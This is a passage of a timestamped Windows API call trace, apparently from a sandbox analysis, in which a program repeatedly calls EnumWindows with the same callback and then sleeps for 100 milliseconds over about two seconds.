[0150.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.316] Sleep (dwMilliseconds=0x64) [0150.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.318] Sleep (dwMilliseconds=0x64) [0150.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.319] Sleep (dwMilliseconds=0x64) [0150.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.321] Sleep (dwMilliseconds=0x64) [0150.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.329] Sleep (dwMilliseconds=0x64) [0150.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.333] Sleep (dwMilliseconds=0x64) [0150.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.335] Sleep (dwMilliseconds=0x64) [0150.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.336] Sleep (dwMilliseconds=0x64) [0150.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.338] Sleep (dwMilliseconds=0x64) [0150.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.339] Sleep (dwMilliseconds=0x64) [0150.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.341] Sleep (dwMilliseconds=0x64) [0150.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.342] Sleep (dwMilliseconds=0x64) [0150.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.344] Sleep (dwMilliseconds=0x64) [0150.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.345] Sleep (dwMilliseconds=0x64) [0150.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.347] Sleep (dwMilliseconds=0x64) [0150.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.349] Sleep (dwMilliseconds=0x64) [0150.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.350] Sleep (dwMilliseconds=0x64) [0150.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.352] Sleep (dwMilliseconds=0x64) [0150.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.353] Sleep (dwMilliseconds=0x64) [0150.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.355] Sleep (dwMilliseconds=0x64) [0150.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.357] Sleep (dwMilliseconds=0x64) [0150.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.358] Sleep (dwMilliseconds=0x64) [0150.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.359] Sleep (dwMilliseconds=0x64) [0150.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.361] Sleep (dwMilliseconds=0x64) [0150.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.362] Sleep (dwMilliseconds=0x64) [0150.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.366] Sleep (dwMilliseconds=0x64) [0150.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.368] Sleep (dwMilliseconds=0x64) [0150.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.370] Sleep (dwMilliseconds=0x64) [0150.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.371] Sleep (dwMilliseconds=0x64) [0150.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.373] Sleep (dwMilliseconds=0x64) [0150.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.375] Sleep (dwMilliseconds=0x64) [0150.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.377] Sleep (dwMilliseconds=0x64) [0150.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.379] Sleep (dwMilliseconds=0x64) [0150.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.380] Sleep (dwMilliseconds=0x64) [0150.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.381] Sleep (dwMilliseconds=0x64) [0150.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.383] Sleep (dwMilliseconds=0x64) [0150.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.385] Sleep (dwMilliseconds=0x64) [0150.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.386] Sleep (dwMilliseconds=0x64) [0150.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.388] Sleep (dwMilliseconds=0x64) [0150.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.389] Sleep (dwMilliseconds=0x64) [0150.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.391] Sleep (dwMilliseconds=0x64) [0150.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.392] Sleep (dwMilliseconds=0x64) [0150.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.394] Sleep (dwMilliseconds=0x64) [0150.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.395] Sleep (dwMilliseconds=0x64) [0150.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.397] Sleep (dwMilliseconds=0x64) [0150.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.398] Sleep (dwMilliseconds=0x64) [0150.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.402] Sleep (dwMilliseconds=0x64) [0150.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.426] Sleep (dwMilliseconds=0x64) [0150.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.428] Sleep (dwMilliseconds=0x64) [0150.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.430] Sleep (dwMilliseconds=0x64) [0150.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.432] Sleep (dwMilliseconds=0x64) [0150.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.434] Sleep (dwMilliseconds=0x64) [0150.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.437] Sleep (dwMilliseconds=0x64) [0150.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.438] Sleep (dwMilliseconds=0x64) [0150.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.440] Sleep (dwMilliseconds=0x64) [0150.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.442] Sleep (dwMilliseconds=0x64) [0150.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.444] Sleep (dwMilliseconds=0x64) [0150.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.446] Sleep (dwMilliseconds=0x64) [0150.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.448] Sleep (dwMilliseconds=0x64) [0150.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.450] Sleep (dwMilliseconds=0x64) [0150.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.452] Sleep (dwMilliseconds=0x64) [0150.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.453] Sleep (dwMilliseconds=0x64) [0150.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.456] Sleep (dwMilliseconds=0x64) [0150.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.458] Sleep (dwMilliseconds=0x64) [0150.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.459] Sleep (dwMilliseconds=0x64) [0150.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.461] Sleep (dwMilliseconds=0x64) [0150.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.463] Sleep (dwMilliseconds=0x64) [0150.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.466] Sleep (dwMilliseconds=0x64) [0150.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.468] Sleep (dwMilliseconds=0x64) [0150.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.469] Sleep (dwMilliseconds=0x64) [0150.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.471] Sleep (dwMilliseconds=0x64) [0150.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.475] Sleep (dwMilliseconds=0x64) [0150.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.477] Sleep (dwMilliseconds=0x64) [0150.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.479] Sleep (dwMilliseconds=0x64) [0150.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.482] Sleep (dwMilliseconds=0x64) [0150.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.483] Sleep (dwMilliseconds=0x64) [0150.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.662] Sleep (dwMilliseconds=0x64) [0150.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.699] Sleep (dwMilliseconds=0x64) [0150.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.758] Sleep (dwMilliseconds=0x64) [0150.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.808] Sleep (dwMilliseconds=0x64) [0150.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.810] Sleep (dwMilliseconds=0x64) [0150.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.813] Sleep (dwMilliseconds=0x64) [0150.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.815] Sleep (dwMilliseconds=0x64) [0150.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.817] Sleep (dwMilliseconds=0x64) [0150.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.819] Sleep (dwMilliseconds=0x64) [0150.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.821] Sleep (dwMilliseconds=0x64) [0150.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.823] Sleep (dwMilliseconds=0x64) [0150.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.825] Sleep (dwMilliseconds=0x64) [0150.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.828] Sleep (dwMilliseconds=0x64) [0150.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.830] Sleep (dwMilliseconds=0x64) [0150.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.841] Sleep (dwMilliseconds=0x64) [0150.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.843] Sleep (dwMilliseconds=0x64) [0150.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.846] Sleep (dwMilliseconds=0x64) [0150.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.848] Sleep (dwMilliseconds=0x64) [0150.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.851] Sleep (dwMilliseconds=0x64) [0150.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.852] Sleep (dwMilliseconds=0x64) [0150.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.854] Sleep (dwMilliseconds=0x64) [0150.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.856] Sleep (dwMilliseconds=0x64) [0150.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.858] Sleep (dwMilliseconds=0x64) [0150.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.913] Sleep (dwMilliseconds=0x64) [0150.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.917] Sleep (dwMilliseconds=0x64) [0150.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.919] Sleep (dwMilliseconds=0x64) [0150.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.922] Sleep (dwMilliseconds=0x64) [0150.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.924] Sleep (dwMilliseconds=0x64) [0150.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.925] Sleep (dwMilliseconds=0x64) [0150.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.927] Sleep (dwMilliseconds=0x64) [0150.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.930] Sleep (dwMilliseconds=0x64) [0150.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.931] Sleep (dwMilliseconds=0x64) [0150.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0150.933] Sleep (dwMilliseconds=0x64) [0151.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.028] Sleep (dwMilliseconds=0x64) [0151.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.134] Sleep (dwMilliseconds=0x64) [0151.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.138] Sleep (dwMilliseconds=0x64) [0151.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.140] Sleep (dwMilliseconds=0x64) [0151.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.142] Sleep (dwMilliseconds=0x64) [0151.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.144] Sleep (dwMilliseconds=0x64) [0151.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.145] Sleep (dwMilliseconds=0x64) [0151.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.148] Sleep (dwMilliseconds=0x64) [0151.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.150] Sleep (dwMilliseconds=0x64) [0151.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.152] Sleep (dwMilliseconds=0x64) [0151.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.154] Sleep (dwMilliseconds=0x64) [0151.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.157] Sleep (dwMilliseconds=0x64) [0151.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.159] Sleep (dwMilliseconds=0x64) [0151.161] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.161] Sleep (dwMilliseconds=0x64) [0151.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.233] Sleep (dwMilliseconds=0x64) [0151.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.237] Sleep (dwMilliseconds=0x64) [0151.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.239] Sleep (dwMilliseconds=0x64) [0151.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.241] Sleep (dwMilliseconds=0x64) [0151.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.243] Sleep (dwMilliseconds=0x64) [0151.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.246] Sleep (dwMilliseconds=0x64) [0151.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.249] Sleep (dwMilliseconds=0x64) [0151.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.251] Sleep (dwMilliseconds=0x64) [0151.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.253] Sleep (dwMilliseconds=0x64) [0151.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.255] Sleep (dwMilliseconds=0x64) [0151.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.259] Sleep (dwMilliseconds=0x64) [0151.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.262] Sleep (dwMilliseconds=0x64) [0151.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.264] Sleep (dwMilliseconds=0x64) [0151.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.266] Sleep (dwMilliseconds=0x64) [0151.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.268] Sleep (dwMilliseconds=0x64) [0151.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.269] Sleep (dwMilliseconds=0x64) [0151.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.271] Sleep (dwMilliseconds=0x64) [0151.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.272] Sleep (dwMilliseconds=0x64) [0151.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.274] Sleep (dwMilliseconds=0x64) [0151.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.278] Sleep (dwMilliseconds=0x64) [0151.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.280] Sleep (dwMilliseconds=0x64) [0151.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.282] Sleep (dwMilliseconds=0x64) [0151.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.284] Sleep (dwMilliseconds=0x64) [0151.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.286] Sleep (dwMilliseconds=0x64) [0151.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.288] Sleep (dwMilliseconds=0x64) [0151.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.290] Sleep (dwMilliseconds=0x64) [0151.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.292] Sleep (dwMilliseconds=0x64) [0151.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.294] Sleep (dwMilliseconds=0x64) [0151.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.296] Sleep (dwMilliseconds=0x64) [0151.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.298] Sleep (dwMilliseconds=0x64) [0151.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.300] Sleep (dwMilliseconds=0x64) [0151.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.302] Sleep (dwMilliseconds=0x64) [0151.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.305] Sleep (dwMilliseconds=0x64) [0151.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.311] Sleep (dwMilliseconds=0x64) [0151.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.313] Sleep (dwMilliseconds=0x64) [0151.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.315] Sleep (dwMilliseconds=0x64) [0151.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.317] Sleep (dwMilliseconds=0x64) [0151.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.319] Sleep (dwMilliseconds=0x64) [0151.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.321] Sleep (dwMilliseconds=0x64) [0151.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.332] Sleep (dwMilliseconds=0x64) [0151.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.360] Sleep (dwMilliseconds=0x64) [0151.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.363] Sleep (dwMilliseconds=0x64) [0151.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.365] Sleep (dwMilliseconds=0x64) [0151.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.366] Sleep (dwMilliseconds=0x64) [0151.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.368] Sleep (dwMilliseconds=0x64) [0151.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.370] Sleep (dwMilliseconds=0x64) [0151.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.373] Sleep (dwMilliseconds=0x64) [0151.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.375] Sleep (dwMilliseconds=0x64) [0151.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.376] Sleep (dwMilliseconds=0x64) [0151.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.378] Sleep (dwMilliseconds=0x64) [0151.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.379] Sleep (dwMilliseconds=0x64) [0151.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.381] Sleep (dwMilliseconds=0x64) [0151.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.383] Sleep (dwMilliseconds=0x64) [0151.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.386] Sleep (dwMilliseconds=0x64) [0151.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.388] Sleep (dwMilliseconds=0x64) [0151.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.390] Sleep (dwMilliseconds=0x64) [0151.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.480] Sleep (dwMilliseconds=0x64) [0151.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.483] Sleep (dwMilliseconds=0x64) [0151.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.485] Sleep (dwMilliseconds=0x64) [0151.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.486] Sleep (dwMilliseconds=0x64) [0151.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.488] Sleep (dwMilliseconds=0x64) [0151.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.490] Sleep (dwMilliseconds=0x64) [0151.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.492] Sleep (dwMilliseconds=0x64) [0151.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.494] Sleep (dwMilliseconds=0x64) [0151.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.496] Sleep (dwMilliseconds=0x64) [0151.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.597] Sleep (dwMilliseconds=0x64) [0151.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.612] Sleep (dwMilliseconds=0x64) [0151.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.614] Sleep (dwMilliseconds=0x64) [0151.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.617] Sleep (dwMilliseconds=0x64) [0151.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.619] Sleep (dwMilliseconds=0x64) [0151.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.621] Sleep (dwMilliseconds=0x64) [0151.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.690] Sleep (dwMilliseconds=0x64) [0151.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.763] Sleep (dwMilliseconds=0x64) [0151.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.866] Sleep (dwMilliseconds=0x64) [0151.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.899] Sleep (dwMilliseconds=0x64) [0151.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0151.980] Sleep (dwMilliseconds=0x64) [0152.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.082] Sleep (dwMilliseconds=0x64) [0152.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.092] Sleep (dwMilliseconds=0x64) [0152.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.093] Sleep (dwMilliseconds=0x64) [0152.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.095] Sleep (dwMilliseconds=0x64) [0152.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.097] Sleep (dwMilliseconds=0x64) [0152.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.098] Sleep (dwMilliseconds=0x64) [0152.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.100] Sleep (dwMilliseconds=0x64) [0152.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.102] Sleep (dwMilliseconds=0x64) [0152.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.104] Sleep (dwMilliseconds=0x64) [0152.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.106] Sleep (dwMilliseconds=0x64) [0152.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.107] Sleep (dwMilliseconds=0x64) [0152.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.109] Sleep (dwMilliseconds=0x64) [0152.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.111] Sleep (dwMilliseconds=0x64) [0152.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.128] Sleep (dwMilliseconds=0x64) [0152.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.340] Sleep (dwMilliseconds=0x64) [0152.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.345] Sleep (dwMilliseconds=0x64) [0152.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.348] Sleep (dwMilliseconds=0x64) [0152.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.349] Sleep (dwMilliseconds=0x64) [0152.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.351] Sleep (dwMilliseconds=0x64) [0152.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.352] Sleep (dwMilliseconds=0x64) [0152.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.355] Sleep (dwMilliseconds=0x64) [0152.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.357] Sleep (dwMilliseconds=0x64) [0152.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.358] Sleep (dwMilliseconds=0x64) [0152.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.360] Sleep (dwMilliseconds=0x64) [0152.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.361] Sleep (dwMilliseconds=0x64) [0152.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.363] Sleep (dwMilliseconds=0x64) [0152.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.364] Sleep (dwMilliseconds=0x64) [0152.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.366] Sleep (dwMilliseconds=0x64) [0152.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.367] Sleep (dwMilliseconds=0x64) [0152.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.371] Sleep (dwMilliseconds=0x64) [0152.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.376] Sleep (dwMilliseconds=0x64) [0152.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.455] Sleep (dwMilliseconds=0x64) [0152.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.485] Sleep (dwMilliseconds=0x64) [0152.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.488] Sleep (dwMilliseconds=0x64) [0152.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.489] Sleep (dwMilliseconds=0x64) [0152.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.492] Sleep (dwMilliseconds=0x64) [0152.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.494] Sleep (dwMilliseconds=0x64) [0152.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.495] Sleep (dwMilliseconds=0x64) [0152.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0152.497] Sleep (dwMilliseconds=0x64) 